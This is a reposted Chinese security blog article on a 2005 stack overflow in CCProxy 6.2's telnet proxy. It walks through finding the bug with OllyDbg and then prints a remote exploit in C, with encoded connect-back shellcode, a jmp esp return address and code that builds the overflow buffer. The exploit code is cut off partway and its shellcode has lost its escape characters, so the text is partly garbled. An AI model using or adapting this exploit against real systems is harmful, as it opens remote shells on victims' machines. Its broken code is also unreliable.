漏洞大户ccproxy又暴远程溢出漏洞

漏洞大户ccproxy又暴远程溢出漏洞

作者:wolfboy[彭峙酿e.s.t]

ccproxy 是一款国生产使用方便界面整洁的代理软件,他支持HTTP,FTP,SOCKS4/5,TELNET,HTTPS.....等代理协议,是一款不可多得的好软件,一般网管用代理软件的时候他是首选,国内ccproxy运用的十分广泛。

这不,我们学校的校园网也用上他了,我们电脑老师也是个比较注意网络安全的人,他装的时候专门叫我测试下ccproxy的安全性,现在我手上的版本是ccproxy 6.2,记得ccproxy 6.0的时候被牛人isno发现过一个http代理的远程缓冲区漏洞,现在作者应该也注意了一下安全了吧```不管那么多,装一个来测试测试。

打开ccproxy 6.2,使用默认的配置,开了HTTP,FTP,HTTPS,TELNET,新闻等代理。很快我发现在我测试telnet的 ping 命令的时候ccproxy 6.2挂掉了,汗```不会还有远程缓冲区漏洞吧。用OllyDbg加载ccproxy 6.2,F9运行然后在命令提示符号下面输入指令telnet127.0.0.1,返回进入

CCProxy Telnet>CCProxy Telnet Service Ready.

CCProxy Telnet>

输入ping 2000个a

这个时候OllyDbg“提示不知道如何继续进行,内存61616161是不易读取的,请试图修改EIP,或者通过例外执行程序”很明显,61就是a 的ascii值,我们输入的a覆盖了返回地址了,现证实了漏洞的确存在,我们现在要确定的是溢出发生在哪里?重新用OllyDbg运行ccproxy 6.2一次,下断点bp strcpy ,strcat,sprintf,然后用方才的方法溢出一次,提示内存61616161是不易读取,并没有断下来,说明溢出不发生在strcpy ,strcat,sprintf,这些函数里面。 记得isno以前说过ccproxy 6.2,使用自己的函数实现sprintf的,没有调用msvcrt.dll里面的函数,想了一下, 下断点bp WSASend,因为ccproxy 6.2是用WSASend来发送消息给客户端的F9运行,telnet 127.0.0.1,这个时候OllyDbg在004124f2断了下来,F9让他执行下去.然后我们再cmd输入ping2000个a;OllyDbg又一次断在004124f2,F8单步跟踪,遇到 call不跟入一步一步下去,当到0041735c CALL 00426B20这里的时候,再跟下去就提示内存61616161是不易读取了,这样我们不到5分钟时间就找到了溢出的call很显然溢出发生在这个call里面。取消WSASend的断点,然后再下断点bp 0041735c,然后重新来一次。程序会断在0041735c CALL 00426B20 处,我们用F7单步跟入然后在CALL 00426B20很明显这里是溢出发生的地方,里面调用了作者自己写的sprintf函数,这里没有对用户的输入

进行检查,导致了溢出。我天生愚昧,不会写shellcode,就拿isno以前写针对HTTP代理的稍微改一下,思路如下:

+------------------------------------------------------------------------------+

| |inc edx...inc edx|shellcode|0x7ffa54cd| | 

 

+------------------------------------------------------------------------------+

ping +0x42 +shellcode +0x7ffa54cd=1016+ mov ecx,0x29911111

shr ecx,0x14 

sub esp,ecx

jmp esp

这样一来,返回地址变成0x7ffa54cd,0x7ffa54cd在2000下指向jmp esp,然后就回执行

mov ecx,0x29911111

shr ecx,0x14 

sub esp,ecx

jmp esp

着几句代码,意思是把esp-299,然后再跳过去执行,这个时候酒会到我们的0x42也就是inc edx,他没有任何意思,相当与nop。最后shellcode 运行,详细代码如下:

 

#include #include #include #pragma comment(lib, "ws2_32")unsigned char shellcode[] ="xebx0ex5bx4bx33xc9xb1xfex80x34x0bxeexe2xfaxebx05""xe8xedxffxffxff""x07x36xeexeexeexb1x8ax4fxdexeexeexeex65xaexe2x65""x9exf2x43x65x86xe6x65x19x84xeaxb7x06x96xeexeexee""x0cx17x86xddxdcxeexeex86x99x9dxdcxb1xbax11xf8x7b""x84xedxb7x06x8exeexeexeex0cx17xbfxbfxbfxbfx84xef""x84xecx11xb8xfex7dx86x91xeexeexefx86xecxeexeexdb""x65x02x84xfexbbxbdx11xb8xfax6bx2ex9bxd6x65x12x84""xfcxb7x45x0cx13x88x29xaaxcaxd2xefxefx7dx45x45x45""x65x12x86x8dx83x8axeex65x02xbex63xa9xfexb9xbexbf""xbfxbfx84xefxbfxbfxbbxbfx11xb8xeax84x11x11xd9x11""xb8xe2x11xb8xf6x11xb8xe6xbfxb8x65x9bxd2x65x9axc0""x96xedx1bxb8x65x98xcexedx1bxddx27xa7xafx43xedx2b""xddx35xe1x50xfexd4x38x9axe6x2fx25xe3xedx34xaex05""x1fxd5xf1x9bx09xb0x65xb0xcaxedx33x88x65xe2xa5x65""xb0xf2xedx33x65xeax65xedx2bx45xb0xb7x2dx06xcdx11""x11x11x60xa0xe0x02x9cx10x5dxf8x01x20x0ex8ex43x37""xebx20x37xe7x1bx43x02x17x44x8ex09x97x28x97";/*+------------------------------------------------------------------------------+| |inc edx...inc edx|shellcode|0x7ffa54cd| | |+------------------------------------------------------------------------------+ping +0x42 +shellcode +0x7ffa54cd=1016:mov ecx,0x12811111shr ecx,0x14 //ecx=128sub esp,ecxjmp esp1.2. ecx inc edx*/void start(void){printf("CCProxy 6.2 telnet Stack Overflow Exploit!\n");printf("written by Ruder 10/3/2005\n");printf("Bug found by wolfboy at 9/3/2005\n");printf("QQ:100105201\n");printf("E-mail:[email protected]\n");printf("usage:target port backIP backPort\n");printf("CCProxy 6.2 telnet 代理最新远程溢出漏洞利用程序\n");printf("作者:wolfboy[彭峙酿e.s.t]\n");printf("漏洞发现者:wolfboy[彭峙酿e.s.t]\n");printf("漏洞发现时间2005年3月9日\n");printf("使用方法: 目标 端口 返回shell的IP 监听端口\n");printf("这个漏洞送给我最爱的人:wtf,saji, 半条命,包子,小刀,jiurl\n");printf(" 冰封血情,dabubaobao, 当然还有我的MM,感谢你们对我的支持,爱死你们了!\n");}int main(int argc, char *argv[]){WSADATA wsd;SOCKET sClient;int ret, i,tmp;struct sockaddr_in server,local;struct hostent *host = NULL;int IPLen;int a;char buff[4096] = {0};char *IPStr;u_short tmp1;char *PORTStr;start();if(argc != 5){printf("usage: %s target port backIP backPortn", argv[0]);printf("使用方法: 目标 端口 返回shell的IP 监听端口\n");exit(1);}if (WSAStartup(MAKEWORD(2,2), &wsd) != 0){printf("Failed to load Winsock library!n");return 1;}sClient = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);if (sClient == INVALID_SOCKET){printf("socket() failed: %dn", WSAGetLastError());return 1;}// shellcode ,tmp=inet_addr(argv[3]);a=(DWORD)&tmp; //IPStr=(char*)a;shellcode[92]=IPStr[0]^0xee; shellcode[93]=IPStr[1]^0xee;shellcode[94]=IPStr[2]^0xee;shellcode[95]=IPStr[3]^0xee;tmp1=htons((u_short)atoi(argv[4]));a=(DWORD)&tmp1;PORTStr=(char*)a;shellcode[99]=PORTStr[0]^0xee; shellcode[100]=PORTStr[1]^0xee;server.sin_family = AF_INET;server.sin_port = htons((u_short)atoi(argv[2]));server.sin_addr.s_addr = inet_addr(argv[1]);if (server.sin_addr.s_addr == INADDR_NONE){host = gethostbyname(argv[1]);if (host == NULL){printf("Unable to resolve server: %sn", argv[1]);return 1;}CopyMemory(&server.sin_addr, host->h_addr_list[0], host->h_length);}//if (connect(sClient, (struct sockaddr *)&server, sizeof(server)) == SOCKET_ERROR){printf("connect() failed: %dn", WSAGetLastError());return 1;}//a=sizeof(sockaddr_in);// IPif (getsockname(sClient,(struct sockaddr *)&local,&a)==SOCKET_ERROR){printf("getsockname() failed: %dn", WSAGetLastError());return 1;}IPLen=strlen(inet_ntoa(local.sin_addr));//ping buff[0]=0x70;buff[1]=0x69;buff[2]=0x6e;buff[3]=0x67;buff[4]=0x20;// INC EDX// 0x42tmp=1016-sizeof(shellcode)-5+1;for(i=5;i

转载于:https://www.cnblogs.com/findeasy/archive/2011/11/22/4053207.html

你可能感兴趣的:(漏洞大户ccproxy又暴远程溢出漏洞)